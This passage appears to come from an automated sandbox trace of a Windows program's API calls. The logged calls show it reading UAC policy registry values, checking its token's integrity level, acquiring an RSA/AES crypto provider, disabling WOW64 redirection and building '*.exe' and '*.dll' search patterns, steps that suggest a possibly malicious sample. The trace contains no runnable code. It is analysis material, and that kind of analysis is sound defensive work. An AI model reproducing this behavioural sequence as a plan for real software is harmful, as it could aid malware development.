(HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed1f8 [0026.512] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.512] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.512] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed1e8 [0026.512] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec240 [0026.512] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.512] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed208 [0026.512] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.512] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.512] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed218 [0026.512] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec168 [0026.512] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.512] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x20) returned 0x3eb860 [0026.512] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.512] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed238 [0026.512] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec1f8 [0026.513] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.513] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed248 [0026.513] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.513] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.513] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed258 [0026.513] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec2d0 [0026.513] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.513] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x30) returned 0x3eb930 [0026.513] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.513] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed278 [0026.513] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec360 [0026.513] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.513] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed288 [0026.513] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec3a8 [0026.513] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.513] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed298 [0026.513] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec3f0 [0026.513] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.513] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec480 [0026.513] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.513] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed2b8 [0026.513] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec510 [0026.513] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.513] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed2c8 [0026.513] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec558 [0026.513] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.513] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed2d8 [0026.513] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec438 [0026.513] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x34f310, lpcchValueName=0x34f30c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x34f30c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0026.514] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec5a0 [0026.514] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x34f41c, lpData=0x0, lpcbData=0x34f424*=0x0 | out: lpType=0x34f41c*=0x4, lpData=0x0, lpcbData=0x34f424*=0x4) returned 0x0 [0026.514] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x34f41c, lpData=0x3ec480, lpcbData=0x34f424*=0x4 | out: lpType=0x34f41c*=0x4, lpData=0x3ec480*=0x1, lpcbData=0x34f424*=0x4) returned 0x0 [0026.514] RegCloseKey (hKey=0x24) returned 0x0 [0026.514] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x34f494 | out: TokenHandle=0x34f494*=0x24) returned 1 [0026.514] GetTokenInformation (in: TokenHandle=0x24, TokenInformationClass=0x14, TokenInformation=0x34f490, TokenInformationLength=0x4, ReturnLength=0x34f48c | out: TokenInformation=0x34f490, ReturnLength=0x34f48c) returned 1 [0026.514] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x34f480 | out: TokenHandle=0x34f480*=0xa0) returned 1 [0026.514] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x34f47c | out: TokenInformation=0x0, ReturnLength=0x34f47c) returned 0 [0026.514] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec5a0 [0026.514] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x3ec5a0, TokenInformationLength=0x14, ReturnLength=0x34f47c | out: TokenInformation=0x3ec5a0, ReturnLength=0x34f47c) returned 1 [0026.514] GetSidSubAuthorityCount (pSid=0x3ec5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000)) returned 0x3ec5a9 [0026.514] GetSidSubAuthority (pSid=0x3ec5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000), nSubAuthority=0x0) returned 0x3ec5b0 [0026.514] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec5a0) returned 1 [0026.514] NtClose (Handle=0xa0) returned 0x0 [0026.514] GetSystemInfo (in: lpSystemInfo=0x34f5c8 | out: lpSystemInfo=0x34f5c8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.514] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x6c) returned 0x3eb860 [0026.514] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec5a0 [0026.514] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xa0 [0026.514] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec480 [0026.514] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec438 [0026.514] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec558 [0026.514] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec510 [0026.515] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x5000) returned 0x500048 [0026.515] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec4c8 [0026.515] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec4c8) returned 1 [0026.515] CryptAcquireContextW (in: phProv=0x34f5dc, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x34f5dc*=0x64df20) returned 1 [0026.544] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x500048) returned 1 [0026.544] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eb8d8 [0026.544] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eb960 [0026.544] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec4c8 [0026.544] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eb9e8 [0026.544] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eba70 [0026.544] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec3f0 [0026.544] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebaf8 [0026.544] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec3a8 [0026.544] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x5000) returned 0x500048 [0026.544] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec360 [0026.544] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec360) returned 1 [0026.544] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0026.556] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x500048) returned 1 [0026.556] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x6485a8, lpbSaclPresent=0x34f590, pSacl=0x34f5e4, lpbSaclDefaulted=0x34f590 | out: lpbSaclPresent=0x34f590, pSacl=0x34f5e4, lpbSaclDefaulted=0x34f590) returned 1 [0026.556] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec360 [0026.556] CreateEventA (lpEventAttributes=0x34f5d8, bManualReset=1, bInitialState=0, lpName="") returned 0xe8 [0026.556] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec360) returned 1 [0026.556] GetLastError () returned 0x0 [0026.556] LocalFree (hMem=0x6485a8) returned 0x0 [0026.556] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec360 [0026.556] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x5000) returned 0x500048 [0026.556] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec318 [0026.556] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec318) returned 1 [0026.556] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0026.557] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x500048) returned 1 [0026.557] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x6485a8, lpbSaclPresent=0x34f590, pSacl=0x34f5e4, lpbSaclDefaulted=0x34f590 | out: lpbSaclPresent=0x34f590, pSacl=0x34f5e4, lpbSaclDefaulted=0x34f590) returned 1 [0026.557] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec318 [0026.557] CreateEventA (lpEventAttributes=0x34f5d8, bManualReset=1, bInitialState=0, lpName="") returned 0xec [0026.557] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec318) returned 1 [0026.557] GetLastError () returned 0x0 [0026.557] LocalFree (hMem=0x6485a8) returned 0x0 [0026.557] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec318 [0026.557] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x5000) returned 0x500048 [0026.557] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec2d0 [0026.557] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec2d0) returned 1 [0026.557] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0026.558] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x500048) returned 1 [0026.558] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x6485a8, lpbSaclPresent=0x34f590, pSacl=0x34f5e4, lpbSaclDefaulted=0x34f590 | out: lpbSaclPresent=0x34f590, pSacl=0x34f5e4, lpbSaclDefaulted=0x34f590) returned 1 [0026.558] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec2d0 [0026.558] CreateEventA (lpEventAttributes=0x34f5d8, bManualReset=1, bInitialState=0, lpName="") returned 0xf0 [0026.558] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec2d0) returned 1 [0026.558] GetLastError () returned 0x0 [0026.558] LocalFree (hMem=0x6485a8) returned 0x0 [0026.558] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x2800) returned 0x500048 [0026.558] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ebb80 [0026.558] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec2d0 [0026.558] Wow64DisableWow64FsRedirection (in: OldValue=0x34f60c | out: OldValue=0x34f60c*=0x0) returned 1 [0026.558] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x2800) returned 0x502850 [0026.558] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.558] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.558] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x10) returned 0x3ed5e8 [0026.558] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed2d8 [0026.558] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.559] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec1f8 [0026.559] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec1f8) returned 1 [0026.559] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.559] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed2d8) returned 1 [0026.559] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed5e8) returned 1 [0026.559] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502850) returned 1 [0026.559] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x2800) returned 0x502850 [0026.559] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.559] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.559] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.559] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x10) returned 0x3ed5e8 [0026.559] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed2d8 [0026.559] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec1f8 [0026.559] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.559] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed2c8 [0026.559] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.559] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x10) returned 0x3ed600 [0026.559] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed2b8 [0026.559] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec1b0 [0026.559] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed2a8 [0026.559] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec168 [0026.559] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec1f8) returned 1 [0026.559] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed2d8) returned 1 [0026.559] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.559] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed2c8) returned 1 [0026.559] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed5e8) returned 1 [0026.559] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.559] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.559] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.559] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.559] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x10) returned 0x3ed5e8 [0026.559] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed2c8 [0026.559] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.559] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed2d8 [0026.559] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec1f8 [0026.559] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec1b0) returned 1 [0026.560] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed2b8) returned 1 [0026.560] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec168) returned 1 [0026.560] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed2a8) returned 1 [0026.560] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed600) returned 1 [0026.560] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x10) returned 0x3ed600 [0026.560] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed2a8 [0026.560] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec168 [0026.560] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed2b8 [0026.560] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec1b0 [0026.560] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.560] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed2c8) returned 1 [0026.560] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec1f8) returned 1 [0026.560] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed2d8) returned 1 [0026.560] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed5e8) returned 1 [0026.560] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x10) returned 0x3ed5e8 [0026.560] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed2d8 [0026.560] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec1f8 [0026.560] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed2c8 [0026.560] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.560] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec168) returned 1 [0026.560] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed2a8) returned 1 [0026.560] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec1b0) returned 1 [0026.560] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed2b8) returned 1 [0026.560] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed600) returned 1 [0026.560] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502850) returned 1 [0026.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ec1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0026.560] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ed9d0 [0026.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ec1f8, cbMultiByte=5, lpWideCharStr=0x3ed9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0026.560] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eda58 [0026.560] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed9d0) returned 1 [0026.560] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x10) returned 0x3ed600 [0026.560] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed2b8 [0026.560] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ed9d0 [0026.560] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eda58) returned 1 [0026.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ec288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0026.561] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eda58 [0026.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ec288, cbMultiByte=5, lpWideCharStr=0x3eda58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0026.561] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3edae0 [0026.561] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eda58) returned 1 [0026.561] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed2a8 [0026.561] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eda58 [0026.561] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3edae0) returned 1 [0026.561] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec1f8) returned 1 [0026.561] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed2d8) returned 1 [0026.561] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.561] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed2c8) returned 1 [0026.561] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed5e8) returned 1 [0026.561] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x2800) returned 0x502850 [0026.561] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.561] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.561] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.561] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x10) returned 0x3ed5e8 [0026.561] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed2c8 [0026.561] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, 